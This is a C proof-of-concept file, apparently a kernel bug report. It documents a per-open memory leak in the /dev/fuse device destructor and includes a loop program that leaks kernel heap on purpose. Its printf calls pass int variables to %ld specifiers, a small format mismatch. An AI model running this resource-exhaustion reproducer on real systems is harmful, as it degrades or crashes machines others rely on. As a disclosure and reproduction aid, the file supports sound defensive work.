/*
 * DF-3228 — /dev/fuse open/close leak in the cdevpriv dtor.
 *
 * fuse_device_open() (fuse_device.c:48-61) kmallocs a struct fuse_mount and
 * installs it as the per-fd cdevpriv with refcnt=1.  The dtor
 * fuse_cdevpriv_dtor() (fuse_device.c:38-45) drops that reference only
 * "if (!fuse_cdevpriv_close(fmp))" — i.e. only when the fd was actually
 * associated with a mount (devvp != NULL).  fuse_cdevpriv_close() returns
 * ENODEV for a never-mounted fd (fuse_device.c:84-88), so the dtor returns
 * WITHOUT calling fuse_mount_free(): the struct fuse_mount allocated at
 * open is leaked on EVERY open("/dev/fuse")+close() cycle that does not
 * mount.  (devfs_set_cdevpriv's return is also ignored at fuse_device.c:57,
 * leaking immediately if it ever fails.)
 *
 * PoC: open+close /dev/fuse N times, then compare the M_TEMP row of
 * vmstat -m before/after.  Each cycle leaks sizeof(struct fuse_mount)
 * (~256 bytes) plus nothing else (locks are only initialized at mount).
 *
 * Reachability: /dev/fuse is 0660 root:operator (fuse_device_init,
 * fuse_device.c:313-314) — group operator / root; a slow kernel-heap
 * exhaustion primitive for a semi-privileged local account.
 *
 * Build: cc -O2 -Wall -o df3228 df3228.c
 * Run:   (root) kldload fuse && ./df3228 [iterations]
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char **argv) {
    long iters = (argc > 1) ? atol(argv[1]) : 100000;
    int ok = 0, fail = 0;
    for (long i = 0; i < iters; i++) {
        int fd = open("/dev/fuse", O_RDWR);
        if (fd < 0) { fail++; if (fail == 1) perror("open"); continue; }
        if (close(fd) < 0) { perror("close"); return 2; }
        ok++;
    }
    printf("df3228: %ld open+close cycles completed (%ld open failures)\n",
           ok, fail);
    printf("df3228: expect ~%ld bytes (%ld * ~256) leaked in M_TEMP; "
           "compare `vmstat -m | grep temp` before/after\n",
           ok * 256L, ok);
    return 0;
}
